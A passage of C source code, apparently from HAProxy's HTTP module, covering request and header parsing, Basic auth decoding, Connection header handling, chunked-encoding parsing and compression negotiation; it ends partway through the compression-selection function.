const char *http_parse_reqline(struct http_msg *msg,
enum ht_state state, const char *ptr, const char *end,
unsigned int *ret_ptr, enum ht_state *ret_state)
{
const char *msg_start = msg->chn->buf->p;
switch (state) {
case HTTP_MSG_RQMETH:
http_msg_rqmeth:
if (likely(HTTP_IS_TOKEN(*ptr)))
EAT_AND_JUMP_OR_RETURN(http_msg_rqmeth, HTTP_MSG_RQMETH);
if (likely(HTTP_IS_SPHT(*ptr))) {
msg->sl.rq.m_l = ptr - msg_start;
EAT_AND_JUMP_OR_RETURN(http_msg_rqmeth_sp, HTTP_MSG_RQMETH_SP);
}
if (likely(HTTP_IS_CRLF(*ptr))) {
/* HTTP 0.9 request */
msg->sl.rq.m_l = ptr - msg_start;
http_msg_req09_uri:
msg->sl.rq.u = ptr - msg_start;
http_msg_req09_uri_e:
msg->sl.rq.u_l = ptr - msg_start - msg->sl.rq.u;
http_msg_req09_ver:
msg->sl.rq.v = ptr - msg_start;
msg->sl.rq.v_l = 0;
goto http_msg_rqline_eol;
}
state = HTTP_MSG_ERROR;
break;
case HTTP_MSG_RQMETH_SP:
http_msg_rqmeth_sp:
if (likely(!HTTP_IS_LWS(*ptr))) {
msg->sl.rq.u = ptr - msg_start;
goto http_msg_rquri;
}
if (likely(HTTP_IS_SPHT(*ptr)))
EAT_AND_JUMP_OR_RETURN(http_msg_rqmeth_sp, HTTP_MSG_RQMETH_SP);
/* so it's a CR/LF, meaning an HTTP 0.9 request */
goto http_msg_req09_uri;
case HTTP_MSG_RQURI:
http_msg_rquri:
if (likely((unsigned char)(*ptr - 33) <= 93)) /* 33 to 126 included */
EAT_AND_JUMP_OR_RETURN(http_msg_rquri, HTTP_MSG_RQURI);
if (likely(HTTP_IS_SPHT(*ptr))) {
msg->sl.rq.u_l = ptr - msg_start - msg->sl.rq.u;
EAT_AND_JUMP_OR_RETURN(http_msg_rquri_sp, HTTP_MSG_RQURI_SP);
}
if (likely((unsigned char)*ptr >= 128)) {
/* non-ASCII chars are forbidden unless option
* accept-invalid-http-request is enabled in the frontend.
* In any case, we capture the faulty char.
*/
if (msg->err_pos < -1)
goto invalid_char;
if (msg->err_pos == -1)
msg->err_pos = ptr - msg_start;
EAT_AND_JUMP_OR_RETURN(http_msg_rquri, HTTP_MSG_RQURI);
}
if (likely(HTTP_IS_CRLF(*ptr))) {
/* so it's a CR/LF, meaning an HTTP 0.9 request */
goto http_msg_req09_uri_e;
}
/* OK forbidden chars, 0..31 or 127 */
invalid_char:
msg->err_pos = ptr - msg_start;
state = HTTP_MSG_ERROR;
break;
case HTTP_MSG_RQURI_SP:
http_msg_rquri_sp:
if (likely(!HTTP_IS_LWS(*ptr))) {
msg->sl.rq.v = ptr - msg_start;
goto http_msg_rqver;
}
if (likely(HTTP_IS_SPHT(*ptr)))
EAT_AND_JUMP_OR_RETURN(http_msg_rquri_sp, HTTP_MSG_RQURI_SP);
/* so it's a CR/LF, meaning an HTTP 0.9 request */
goto http_msg_req09_ver;
case HTTP_MSG_RQVER:
http_msg_rqver:
if (likely(HTTP_IS_VER_TOKEN(*ptr)))
EAT_AND_JUMP_OR_RETURN(http_msg_rqver, HTTP_MSG_RQVER);
if (likely(HTTP_IS_CRLF(*ptr))) {
msg->sl.rq.v_l = ptr - msg_start - msg->sl.rq.v;
http_msg_rqline_eol:
/* We have seen the end of line. Note that we do not
* necessarily have the \n yet, but at least we know that we
* have EITHER \r OR \n, otherwise the request would not be
* complete. We can then record the request length and return
* to the caller which will be able to register it.
*/
msg->sl.rq.l = ptr - msg_start - msg->sol;
return ptr;
}
/* neither an HTTP_VER token nor a CRLF */
state = HTTP_MSG_ERROR;
break;
default:
#ifdef DEBUG_FULL
fprintf(stderr, "FIXME !!!! impossible state at %s:%d = %d\n", __FILE__, __LINE__, state);
exit(1);
#endif
;
}
http_msg_ood:
/* out of valid data */
if (ret_state)
*ret_state = state;
if (ret_ptr)
*ret_ptr = ptr - msg_start;
return NULL;
}
/*
* Returns the data from Authorization header. Function may be called more
* than once so data is stored in txn->auth_data. When no header is found
* or auth method is unknown auth_method is set to HTTP_AUTH_WRONG to avoid
* searching again for something we are unable to find anyway. However, if
* the result if valid, the cache is not reused because we would risk to
* have the credentials overwritten by another session in parallel.
*/
/* This bufffer is initialized in the file 'src/haproxy.c'. This length is
* set according to global.tune.bufsize.
*/
char *get_http_auth_buff;
int
get_http_auth(struct session *s)
{
struct http_txn *txn = &s->txn;
struct chunk auth_method;
struct hdr_ctx ctx;
char *h, *p;
int len;
#ifdef DEBUG_AUTH
printf("Auth for session %p: %d\n", s, txn->auth.method);
#endif
if (txn->auth.method == HTTP_AUTH_WRONG)
return 0;
txn->auth.method = HTTP_AUTH_WRONG;
ctx.idx = 0;
if (txn->flags & TX_USE_PX_CONN) {
h = "Proxy-Authorization";
len = strlen(h);
} else {
h = "Authorization";
len = strlen(h);
}
if (!http_find_header2(h, len, s->req->buf->p, &txn->hdr_idx, &ctx))
return 0;
h = ctx.line + ctx.val;
p = memchr(h, ' ', ctx.vlen);
if (!p || p == h)
return 0;
chunk_initlen(&auth_method, h, 0, p-h);
chunk_initlen(&txn->auth.method_data, p+1, 0, ctx.vlen-(p-h)-1);
if (!strncasecmp("Basic", auth_method.str, auth_method.len)) {
len = base64dec(txn->auth.method_data.str, txn->auth.method_data.len,
get_http_auth_buff, global.tune.bufsize - 1);
if (len < 0)
return 0;
get_http_auth_buff[len] = '\0';
p = strchr(get_http_auth_buff, ':');
if (!p)
return 0;
txn->auth.user = get_http_auth_buff;
*p = '\0';
txn->auth.pass = p+1;
txn->auth.method = HTTP_AUTH_BASIC;
return 1;
}
return 0;
}
/*
* This function parses an HTTP message, either a request or a response,
* depending on the initial msg->msg_state. The caller is responsible for
* ensuring that the message does not wrap. The function can be preempted
* everywhere when data are missing and recalled at the exact same location
* with no information loss. The message may even be realigned between two
* calls. The header index is re-initialized when switching from
* MSG_R[PQ]BEFORE to MSG_RPVER|MSG_RQMETH. It modifies msg->sol among other
* fields. Note that msg->sol will be initialized after completing the first
* state, so that none of the msg pointers has to be initialized prior to the
* first call.
*/
void http_msg_analyzer(struct http_msg *msg, struct hdr_idx *idx)
{
enum ht_state state; /* updated only when leaving the FSM */
register char *ptr, *end; /* request pointers, to avoid dereferences */
struct buffer *buf;
state = msg->msg_state;
buf = msg->chn->buf;
ptr = buf->p + msg->next;
end = buf->p + buf->i;
if (unlikely(ptr >= end))
goto http_msg_ood;
switch (state) {
/*
* First, states that are specific to the response only.
* We check them first so that request and headers are
* closer to each other (accessed more often).
*/
case HTTP_MSG_RPBEFORE:
http_msg_rpbefore:
if (likely(HTTP_IS_TOKEN(*ptr))) {
/* we have a start of message, but we have to check
* first if we need to remove some CRLF. We can only
* do this when o=0.
*/
if (unlikely(ptr != buf->p)) {
if (buf->o)
goto http_msg_ood;
/* Remove empty leading lines, as recommended by RFC2616. */
bi_fast_delete(buf, ptr - buf->p);
}
msg->sol = 0;
msg->sl.st.l = 0; /* used in debug mode */
hdr_idx_init(idx);
state = HTTP_MSG_RPVER;
goto http_msg_rpver;
}
if (unlikely(!HTTP_IS_CRLF(*ptr)))
goto http_msg_invalid;
if (unlikely(*ptr == '\n'))
EAT_AND_JUMP_OR_RETURN(http_msg_rpbefore, HTTP_MSG_RPBEFORE);
EAT_AND_JUMP_OR_RETURN(http_msg_rpbefore_cr, HTTP_MSG_RPBEFORE_CR);
/* stop here */
case HTTP_MSG_RPBEFORE_CR:
http_msg_rpbefore_cr:
EXPECT_LF_HERE(ptr, http_msg_invalid);
EAT_AND_JUMP_OR_RETURN(http_msg_rpbefore, HTTP_MSG_RPBEFORE);
/* stop here */
case HTTP_MSG_RPVER:
http_msg_rpver:
case HTTP_MSG_RPVER_SP:
case HTTP_MSG_RPCODE:
case HTTP_MSG_RPCODE_SP:
case HTTP_MSG_RPREASON:
ptr = (char *)http_parse_stsline(msg,
state, ptr, end,
&msg->next, &msg->msg_state);
if (unlikely(!ptr))
return;
/* we have a full response and we know that we have either a CR
* or an LF at <ptr>.
*/
hdr_idx_set_start(idx, msg->sl.st.l, *ptr == '\r');
msg->sol = ptr - buf->p;
if (likely(*ptr == '\r'))
EAT_AND_JUMP_OR_RETURN(http_msg_rpline_end, HTTP_MSG_RPLINE_END);
goto http_msg_rpline_end;
case HTTP_MSG_RPLINE_END:
http_msg_rpline_end:
/* msg->sol must point to the first of CR or LF. */
EXPECT_LF_HERE(ptr, http_msg_invalid);
EAT_AND_JUMP_OR_RETURN(http_msg_hdr_first, HTTP_MSG_HDR_FIRST);
/* stop here */
/*
* Second, states that are specific to the request only
*/
case HTTP_MSG_RQBEFORE:
http_msg_rqbefore:
if (likely(HTTP_IS_TOKEN(*ptr))) {
/* we have a start of message, but we have to check
* first if we need to remove some CRLF. We can only
* do this when o=0.
*/
if (likely(ptr != buf->p)) {
if (buf->o)
goto http_msg_ood;
/* Remove empty leading lines, as recommended by RFC2616. */
bi_fast_delete(buf, ptr - buf->p);
}
msg->sol = 0;
msg->sl.rq.l = 0; /* used in debug mode */
state = HTTP_MSG_RQMETH;
goto http_msg_rqmeth;
}
if (unlikely(!HTTP_IS_CRLF(*ptr)))
goto http_msg_invalid;
if (unlikely(*ptr == '\n'))
EAT_AND_JUMP_OR_RETURN(http_msg_rqbefore, HTTP_MSG_RQBEFORE);
EAT_AND_JUMP_OR_RETURN(http_msg_rqbefore_cr, HTTP_MSG_RQBEFORE_CR);
/* stop here */
case HTTP_MSG_RQBEFORE_CR:
http_msg_rqbefore_cr:
EXPECT_LF_HERE(ptr, http_msg_invalid);
EAT_AND_JUMP_OR_RETURN(http_msg_rqbefore, HTTP_MSG_RQBEFORE);
/* stop here */
case HTTP_MSG_RQMETH:
http_msg_rqmeth:
case HTTP_MSG_RQMETH_SP:
case HTTP_MSG_RQURI:
case HTTP_MSG_RQURI_SP:
case HTTP_MSG_RQVER:
ptr = (char *)http_parse_reqline(msg,
state, ptr, end,
&msg->next, &msg->msg_state);
if (unlikely(!ptr))
return;
/* we have a full request and we know that we have either a CR
* or an LF at <ptr>.
*/
hdr_idx_set_start(idx, msg->sl.rq.l, *ptr == '\r');
msg->sol = ptr - buf->p;
if (likely(*ptr == '\r'))
EAT_AND_JUMP_OR_RETURN(http_msg_rqline_end, HTTP_MSG_RQLINE_END);
goto http_msg_rqline_end;
case HTTP_MSG_RQLINE_END:
http_msg_rqline_end:
/* check for HTTP/0.9 request : no version information available.
* msg->sol must point to the first of CR or LF.
*/
if (unlikely(msg->sl.rq.v_l == 0))
goto http_msg_last_lf;
EXPECT_LF_HERE(ptr, http_msg_invalid);
EAT_AND_JUMP_OR_RETURN(http_msg_hdr_first, HTTP_MSG_HDR_FIRST);
/* stop here */
/*
* Common states below
*/
case HTTP_MSG_HDR_FIRST:
http_msg_hdr_first:
msg->sol = ptr - buf->p;
if (likely(!HTTP_IS_CRLF(*ptr))) {
goto http_msg_hdr_name;
}
if (likely(*ptr == '\r'))
EAT_AND_JUMP_OR_RETURN(http_msg_last_lf, HTTP_MSG_LAST_LF);
goto http_msg_last_lf;
case HTTP_MSG_HDR_NAME:
http_msg_hdr_name:
/* assumes msg->sol points to the first char */
if (likely(HTTP_IS_TOKEN(*ptr)))
EAT_AND_JUMP_OR_RETURN(http_msg_hdr_name, HTTP_MSG_HDR_NAME);
if (likely(*ptr == ':'))
EAT_AND_JUMP_OR_RETURN(http_msg_hdr_l1_sp, HTTP_MSG_HDR_L1_SP);
if (likely(msg->err_pos < -1) || *ptr == '\n')
goto http_msg_invalid;
if (msg->err_pos == -1) /* capture error pointer */
msg->err_pos = ptr - buf->p; /* >= 0 now */
/* and we still accept this non-token character */
EAT_AND_JUMP_OR_RETURN(http_msg_hdr_name, HTTP_MSG_HDR_NAME);
case HTTP_MSG_HDR_L1_SP:
http_msg_hdr_l1_sp:
/* assumes msg->sol points to the first char */
if (likely(HTTP_IS_SPHT(*ptr)))
EAT_AND_JUMP_OR_RETURN(http_msg_hdr_l1_sp, HTTP_MSG_HDR_L1_SP);
/* header value can be basically anything except CR/LF */
msg->sov = ptr - buf->p;
if (likely(!HTTP_IS_CRLF(*ptr))) {
goto http_msg_hdr_val;
}
if (likely(*ptr == '\r'))
EAT_AND_JUMP_OR_RETURN(http_msg_hdr_l1_lf, HTTP_MSG_HDR_L1_LF);
goto http_msg_hdr_l1_lf;
case HTTP_MSG_HDR_L1_LF:
http_msg_hdr_l1_lf:
EXPECT_LF_HERE(ptr, http_msg_invalid);
EAT_AND_JUMP_OR_RETURN(http_msg_hdr_l1_lws, HTTP_MSG_HDR_L1_LWS);
case HTTP_MSG_HDR_L1_LWS:
http_msg_hdr_l1_lws:
if (likely(HTTP_IS_SPHT(*ptr))) {
/* replace HT,CR,LF with spaces */
for (; buf->p + msg->sov < ptr; msg->sov++)
buf->p[msg->sov] = ' ';
goto http_msg_hdr_l1_sp;
}
/* we had a header consisting only in spaces ! */
msg->eol = msg->sov;
goto http_msg_complete_header;
case HTTP_MSG_HDR_VAL:
http_msg_hdr_val:
/* assumes msg->sol points to the first char, and msg->sov
* points to the first character of the value.
*/
if (likely(!HTTP_IS_CRLF(*ptr)))
EAT_AND_JUMP_OR_RETURN(http_msg_hdr_val, HTTP_MSG_HDR_VAL);
msg->eol = ptr - buf->p;
/* Note: we could also copy eol into ->eoh so that we have the
* real header end in case it ends with lots of LWS, but is this
* really needed ?
*/
if (likely(*ptr == '\r'))
EAT_AND_JUMP_OR_RETURN(http_msg_hdr_l2_lf, HTTP_MSG_HDR_L2_LF);
goto http_msg_hdr_l2_lf;
case HTTP_MSG_HDR_L2_LF:
http_msg_hdr_l2_lf:
EXPECT_LF_HERE(ptr, http_msg_invalid);
EAT_AND_JUMP_OR_RETURN(http_msg_hdr_l2_lws, HTTP_MSG_HDR_L2_LWS);
case HTTP_MSG_HDR_L2_LWS:
http_msg_hdr_l2_lws:
if (unlikely(HTTP_IS_SPHT(*ptr))) {
/* LWS: replace HT,CR,LF with spaces */
for (; buf->p + msg->eol < ptr; msg->eol++)
buf->p[msg->eol] = ' ';
goto http_msg_hdr_val;
}
http_msg_complete_header:
/*
* It was a new header, so the last one is finished.
* Assumes msg->sol points to the first char, msg->sov points
* to the first character of the value and msg->eol to the
* first CR or LF so we know how the line ends. We insert last
* header into the index.
*/
if (unlikely(hdr_idx_add(msg->eol - msg->sol, buf->p[msg->eol] == '\r',
idx, idx->tail) < 0))
goto http_msg_invalid;
msg->sol = ptr - buf->p;
if (likely(!HTTP_IS_CRLF(*ptr))) {
goto http_msg_hdr_name;
}
if (likely(*ptr == '\r'))
EAT_AND_JUMP_OR_RETURN(http_msg_last_lf, HTTP_MSG_LAST_LF);
goto http_msg_last_lf;
case HTTP_MSG_LAST_LF:
http_msg_last_lf:
/* Assumes msg->sol points to the first of either CR or LF.
* Sets ->sov and ->next to the total header length, ->eoh to
* the last CRLF, and ->eol to the last CRLF length (1 or 2).
*/
EXPECT_LF_HERE(ptr, http_msg_invalid);
ptr++;
msg->sov = msg->next = ptr - buf->p;
msg->eoh = msg->sol;
msg->sol = 0;
msg->eol = msg->sov - msg->eoh;
msg->msg_state = HTTP_MSG_BODY;
return;
case HTTP_MSG_ERROR:
/* this may only happen if we call http_msg_analyser() twice with an error */
break;
default:
#ifdef DEBUG_FULL
fprintf(stderr, "FIXME !!!! impossible state at %s:%d = %d\n", __FILE__, __LINE__, state);
exit(1);
#endif
;
}
http_msg_ood:
/* out of data */
msg->msg_state = state;
msg->next = ptr - buf->p;
return;
http_msg_invalid:
/* invalid message */
msg->msg_state = HTTP_MSG_ERROR;
msg->next = ptr - buf->p;
return;
}
/* convert an HTTP/0.9 request into an HTTP/1.0 request. Returns 1 if the
* conversion succeeded, 0 in case of error. If the request was already 1.X,
* nothing is done and 1 is returned.
*/
static int http_upgrade_v09_to_v10(struct http_txn *txn)
{
int delta;
char *cur_end;
struct http_msg *msg = &txn->req;
if (msg->sl.rq.v_l != 0)
return 1;
/* RFC 1945 allows only GET for HTTP/0.9 requests */
if (txn->meth != HTTP_METH_GET)
return 0;
cur_end = msg->chn->buf->p + msg->sl.rq.l;
delta = 0;
if (msg->sl.rq.u_l == 0) {
/* HTTP/0.9 requests *must* have a request URI, per RFC 1945 */
return 0;
}
/* add HTTP version */
delta = buffer_replace2(msg->chn->buf, cur_end, cur_end, " HTTP/1.0\r\n", 11);
http_msg_move_end(msg, delta);
cur_end += delta;
cur_end = (char *)http_parse_reqline(msg,
HTTP_MSG_RQMETH,
msg->chn->buf->p, cur_end + 1,
NULL, NULL);
if (unlikely(!cur_end))
return 0;
/* we have a full HTTP/1.0 request now and we know that
* we have either a CR or an LF at <ptr>.
*/
hdr_idx_set_start(&txn->hdr_idx, msg->sl.rq.l, *cur_end == '\r');
return 1;
}
/* Parse the Connection: header of an HTTP request, looking for both "close"
* and "keep-alive" values. If we already know that some headers may safely
* be removed, we remove them now. The <to_del> flags are used for that :
* - bit 0 means remove "close" headers (in HTTP/1.0 requests/responses)
* - bit 1 means remove "keep-alive" headers (in HTTP/1.1 reqs/resp to 1.1).
* Presence of the "Upgrade" token is also checked and reported.
* The TX_HDR_CONN_* flags are adjusted in txn->flags depending on what was
* found, and TX_CON_*_SET is adjusted depending on what is left so only
* harmless combinations may be removed. Do not call that after changes have
* been processed.
*/
void http_parse_connection_header(struct http_txn *txn, struct http_msg *msg, int to_del)
{
struct hdr_ctx ctx;
const char *hdr_val = "Connection";
int hdr_len = 10;
if (txn->flags & TX_HDR_CONN_PRS)
return;
if (unlikely(txn->flags & TX_USE_PX_CONN)) {
hdr_val = "Proxy-Connection";
hdr_len = 16;
}
ctx.idx = 0;
txn->flags &= ~(TX_CON_KAL_SET|TX_CON_CLO_SET);
while (http_find_header2(hdr_val, hdr_len, msg->chn->buf->p, &txn->hdr_idx, &ctx)) {
if (ctx.vlen >= 10 && word_match(ctx.line + ctx.val, ctx.vlen, "keep-alive", 10)) {
txn->flags |= TX_HDR_CONN_KAL;
if (to_del & 2)
http_remove_header2(msg, &txn->hdr_idx, &ctx);
else
txn->flags |= TX_CON_KAL_SET;
}
else if (ctx.vlen >= 5 && word_match(ctx.line + ctx.val, ctx.vlen, "close", 5)) {
txn->flags |= TX_HDR_CONN_CLO;
if (to_del & 1)
http_remove_header2(msg, &txn->hdr_idx, &ctx);
else
txn->flags |= TX_CON_CLO_SET;
}
else if (ctx.vlen >= 7 && word_match(ctx.line + ctx.val, ctx.vlen, "upgrade", 7)) {
txn->flags |= TX_HDR_CONN_UPG;
}
}
txn->flags |= TX_HDR_CONN_PRS;
return;
}
/* Apply desired changes on the Connection: header. Values may be removed and/or
* added depending on the <wanted> flags, which are exclusively composed of
* TX_CON_CLO_SET and TX_CON_KAL_SET, depending on what flags are desired. The
* TX_CON_*_SET flags are adjusted in txn->flags depending on what is left.
*/
void http_change_connection_header(struct http_txn *txn, struct http_msg *msg, int wanted)
{
struct hdr_ctx ctx;
const char *hdr_val = "Connection";
int hdr_len = 10;
ctx.idx = 0;
if (unlikely(txn->flags & TX_USE_PX_CONN)) {
hdr_val = "Proxy-Connection";
hdr_len = 16;
}
txn->flags &= ~(TX_CON_CLO_SET | TX_CON_KAL_SET);
while (http_find_header2(hdr_val, hdr_len, msg->chn->buf->p, &txn->hdr_idx, &ctx)) {
if (ctx.vlen >= 10 && word_match(ctx.line + ctx.val, ctx.vlen, "keep-alive", 10)) {
if (wanted & TX_CON_KAL_SET)
txn->flags |= TX_CON_KAL_SET;
else
http_remove_header2(msg, &txn->hdr_idx, &ctx);
}
else if (ctx.vlen >= 5 && word_match(ctx.line + ctx.val, ctx.vlen, "close", 5)) {
if (wanted & TX_CON_CLO_SET)
txn->flags |= TX_CON_CLO_SET;
else
http_remove_header2(msg, &txn->hdr_idx, &ctx);
}
}
if (wanted == (txn->flags & (TX_CON_CLO_SET|TX_CON_KAL_SET)))
return;
if ((wanted & TX_CON_CLO_SET) && !(txn->flags & TX_CON_CLO_SET)) {
txn->flags |= TX_CON_CLO_SET;
hdr_val = "Connection: close";
hdr_len = 17;
if (unlikely(txn->flags & TX_USE_PX_CONN)) {
hdr_val = "Proxy-Connection: close";
hdr_len = 23;
}
http_header_add_tail2(msg, &txn->hdr_idx, hdr_val, hdr_len);
}
if ((wanted & TX_CON_KAL_SET) && !(txn->flags & TX_CON_KAL_SET)) {
txn->flags |= TX_CON_KAL_SET;
hdr_val = "Connection: keep-alive";
hdr_len = 22;
if (unlikely(txn->flags & TX_USE_PX_CONN)) {
hdr_val = "Proxy-Connection: keep-alive";
hdr_len = 28;
}
http_header_add_tail2(msg, &txn->hdr_idx, hdr_val, hdr_len);
}
return;
}
/* Parse the chunk size at msg->next. Once done, it adjusts ->next to point to
* the first byte of data after the chunk size, so that we know we can forward
* exactly msg->next bytes. msg->sol contains the exact number of bytes forming
* the chunk size. That way it is always possible to differentiate between the
* start of the body and the start of the data.
* Return >0 on success, 0 when some data is missing, <0 on error.
* Note: this function is designed to parse wrapped CRLF at the end of the buffer.
*/
static inline int http_parse_chunk_size(struct http_msg *msg)
{
const struct buffer *buf = msg->chn->buf;
const char *ptr = b_ptr(buf, msg->next);
const char *ptr_old = ptr;
const char *end = buf->data + buf->size;
const char *stop = bi_end(buf);
unsigned int chunk = 0;
/* The chunk size is in the following form, though we are only
* interested in the size and CRLF :
* 1*HEXDIGIT *WSP *[ ';' extensions ] CRLF
*/
while (1) {
int c;
if (ptr == stop)
return 0;
c = hex2i(*ptr);
if (c < 0) /* not a hex digit anymore */
break;
if (unlikely(++ptr >= end))
ptr = buf->data;
if (chunk & 0xF8000000) /* integer overflow will occur if result >= 2GB */
goto error;
chunk = (chunk << 4) + c;
}
/* empty size not allowed */
if (unlikely(ptr == ptr_old))
goto error;
while (http_is_spht[(unsigned char)*ptr]) {
if (++ptr >= end)
ptr = buf->data;
if (unlikely(ptr == stop))
return 0;
}
/* Up to there, we know that at least one byte is present at *ptr. Check
* for the end of chunk size.
*/
while (1) {
if (likely(HTTP_IS_CRLF(*ptr))) {
/* we now have a CR or an LF at ptr */
if (likely(*ptr == '\r')) {
if (++ptr >= end)
ptr = buf->data;
if (ptr == stop)
return 0;
}
if (*ptr != '\n')
goto error;
if (++ptr >= end)
ptr = buf->data;
/* done */
break;
}
else if (*ptr == ';') {
/* chunk extension, ends at next CRLF */
if (++ptr >= end)
ptr = buf->data;
if (ptr == stop)
return 0;
while (!HTTP_IS_CRLF(*ptr)) {
if (++ptr >= end)
ptr = buf->data;
if (ptr == stop)
return 0;
}
/* we have a CRLF now, loop above */
continue;
}
else
goto error;
}
/* OK we found our CRLF and now <ptr> points to the next byte,
* which may or may not be present. We save that into ->next,
* and the number of bytes parsed into msg->sol.
*/
msg->sol = ptr - ptr_old;
if (unlikely(ptr < ptr_old))
msg->sol += buf->size;
msg->next = buffer_count(buf, buf->p, ptr);
msg->chunk_len = chunk;
msg->body_len += chunk;
msg->msg_state = chunk ? HTTP_MSG_DATA : HTTP_MSG_TRAILERS;
return 1;
error:
msg->err_pos = buffer_count(buf, buf->p, ptr);
return -1;
}
/* This function skips trailers in the buffer associated with HTTP
* message <msg>. The first visited position is msg->next. If the end of
* the trailers is found, it is automatically scheduled to be forwarded,
* msg->msg_state switches to HTTP_MSG_DONE, and the function returns >0.
* If not enough data are available, the function does not change anything
* except maybe msg->next if it could parse some lines, and returns zero.
* If a parse error is encountered, the function returns < 0 and does not
* change anything except maybe msg->next. Note that the message must
* already be in HTTP_MSG_TRAILERS state before calling this function,
* which implies that all non-trailers data have already been scheduled for
* forwarding, and that msg->next exactly matches the length of trailers
* already parsed and not forwarded. It is also important to note that this
* function is designed to be able to parse wrapped headers at end of buffer.
*/
static int http_forward_trailers(struct http_msg *msg)
{
const struct buffer *buf = msg->chn->buf;
/* we have msg->next which points to next line. Look for CRLF. */
while (1) {
const char *p1 = NULL, *p2 = NULL;
const char *ptr = b_ptr(buf, msg->next);
const char *stop = bi_end(buf);
int bytes;
/* scan current line and stop at LF or CRLF */
while (1) {
if (ptr == stop)
return 0;
if (*ptr == '\n') {
if (!p1)
p1 = ptr;
p2 = ptr;
break;
}
if (*ptr == '\r') {
if (p1) {
msg->err_pos = buffer_count(buf, buf->p, ptr);
return -1;
}
p1 = ptr;
}
ptr++;
if (ptr >= buf->data + buf->size)
ptr = buf->data;
}
/* after LF; point to beginning of next line */
p2++;
if (p2 >= buf->data + buf->size)
p2 = buf->data;
bytes = p2 - b_ptr(buf, msg->next);
if (bytes < 0)
bytes += buf->size;
if (p1 == b_ptr(buf, msg->next)) {
/* LF/CRLF at beginning of line => end of trailers at p2.
* Everything was scheduled for forwarding, there's nothing
* left from this message.
*/
msg->next = buffer_count(buf, buf->p, p2);
msg->msg_state = HTTP_MSG_DONE;
return 1;
}
/* OK, next line then */
msg->next = buffer_count(buf, buf->p, p2);
}
}
/* This function may be called only in HTTP_MSG_CHUNK_CRLF. It reads the CRLF
* or a possible LF alone at the end of a chunk. It automatically adjusts
* msg->next in order to include this part into the next forwarding phase.
* Note that the caller must ensure that ->p points to the first byte to parse.
* It also sets msg_state to HTTP_MSG_CHUNK_SIZE and returns >0 on success. If
* not enough data are available, the function does not change anything and
* returns zero. If a parse error is encountered, the function returns < 0 and
* does not change anything. Note: this function is designed to parse wrapped
* CRLF at the end of the buffer.
*/
static inline int http_skip_chunk_crlf(struct http_msg *msg)
{
const struct buffer *buf = msg->chn->buf;
const char *ptr;
int bytes;
/* NB: we'll check data availabilty at the end. It's not a
* problem because whatever we match first will be checked
* against the correct length.
*/
bytes = 1;
ptr = b_ptr(buf, msg->next);
if (*ptr == '\r') {
bytes++;
ptr++;
if (ptr >= buf->data + buf->size)
ptr = buf->data;
}
if (msg->next + bytes > buf->i)
return 0;
if (*ptr != '\n') {
msg->err_pos = buffer_count(buf, buf->p, ptr);
return -1;
}
ptr++;
if (unlikely(ptr >= buf->data + buf->size))
ptr = buf->data;
/* Advance ->next to allow the CRLF to be forwarded */
msg->next += bytes;
msg->msg_state = HTTP_MSG_CHUNK_SIZE;
return 1;
}
/* Parses a qvalue and returns it multipled by 1000, from 0 to 1000. If the
* value is larger than 1000, it is bound to 1000. The parser consumes up to
* 1 digit, one dot and 3 digits and stops on the first invalid character.
* Unparsable qvalues return 1000 as "q=1.000".
*/
int parse_qvalue(const char *qvalue, const char **end)
{
int q = 1000;
if (!isdigit((unsigned char)*qvalue))
goto out;
q = (*qvalue++ - '0') * 1000;
if (*qvalue++ != '.')
goto out;
if (!isdigit((unsigned char)*qvalue))
goto out;
q += (*qvalue++ - '0') * 100;
if (!isdigit((unsigned char)*qvalue))
goto out;
q += (*qvalue++ - '0') * 10;
if (!isdigit((unsigned char)*qvalue))
goto out;
q += (*qvalue++ - '0') * 1;
out:
if (q > 1000)
q = 1000;
if (end)
*end = qvalue;
return q;
}
/*
* Selects a compression algorithm depending on the client request.
*/
int select_compression_request_header(struct session *s, struct buffer *req)
{
struct http_txn *txn = &s->txn;
struct http_msg *msg = &txn->req;
struct hdr_ctx ctx;
struct comp_algo *comp_algo = NULL;
struct comp_algo *comp_algo_back = NULL;
/* Disable compression for older user agents announcing themselves as "Mozilla/4"
* unless they are known good (MSIE 6 with XP SP2, or MSIE 7 and later).
* See http://zoompf.com/2012/02/lose-the-wait-http-compression for more details.
*/
ctx.idx = 0;
if (http_find_header2("User-Agent", 10, req->p, &txn->hdr_idx, &ctx) &&
ctx.vlen >= 9 &&
memcmp(ctx.line + ctx.val, "Mozilla/4", 9) == 0 &&
(ctx.vlen < 31 ||
memcmp(ctx.line + ctx.val + 25, "MSIE ", 5) != 0 ||
ctx.line[ctx.val + 30] < '6' ||
(ctx.line[ctx.val + 30] == '6' &&
(ctx.vlen < 54 || memcmp(ctx.line + 51, "SV1", 3) != 0)))) {
s->comp_algo = NULL;
return 0;
}
/* search for the algo in the backend in priority or the frontend */
if ((s->be->comp && (comp_algo_back = s->be->comp->algos)) || (s->fe->comp && (comp_algo_back = s->fe->comp->algos))) {
int best_q = 0;
ctx.idx = 0;
while (http_find_header2("Accept-Encoding", 15, req->p, &txn->hdr_idx, &ctx)) {
const char *qval;
int q;
int toklen;
/* try to isolate the token from the optional q-value */
toklen = 0;
while (toklen < ctx.vlen && http_is_token[(unsigned char)*(ctx.line + ctx.val + toklen)])
toklen++;
qval = ctx.line + ctx.val + toklen;
while (1) {
while (qval < ctx.line + ctx.val + ctx.vlen && http_is_lws[(unsigned char)*qval])
qval++;
if (qval >= ctx.line + ctx.val + ctx.vlen || *qval != ';') {
qval = NULL;
break;
}
qval++;
while (qval < ctx.line + ctx.val + ctx.vlen && http_is_lws[(unsigned char)*qval])
qval++;
if (qval >= ctx.line + ctx.val + ctx.vlen) {
qval = NULL;
break;
}
if (strncmp(qval, "q=", MIN(ctx.line + ctx.val + ctx.vlen - qval, 2)) == 0)
break;
while (qval < ctx.line + ctx.val + ctx.vlen && *qval != ';')
qval++;
}
/* here we have qval pointing to the first "q=" attribute or NULL if not found */
q = qval ? parse_qvalue(qval + 2, NULL) : 1000;
if (q <= best_q)
continue;
for (comp_algo = comp_algo_back; comp_algo; comp_algo = comp_algo->next) {
if (*(ctx.line + ctx.val) == '*' ||
word_match(ctx.line + ctx.val, toklen, comp_algo->name, comp_algo->name_len)) {
s->comp_algo = comp_algo;
best_q = q;
break;
}
}
}
}
/* remove all occurrences of the header when "compression offload" is set */
if (s->comp_algo) {
if ((s->be->comp && s->be->comp->offload) || (s->fe->comp && s->fe->comp->offload)) {
http_remove_header2(msg, &txn->hdr_idx, &ctx);
ctx.idx = 0;
while (http_find_header2("Accept-Encoding", 15, req->p, &txn->hdr_idx, &ctx)) {
http_remove_header2(msg, &txn->hdr_idx, &ctx);
}
}
return 1;
}
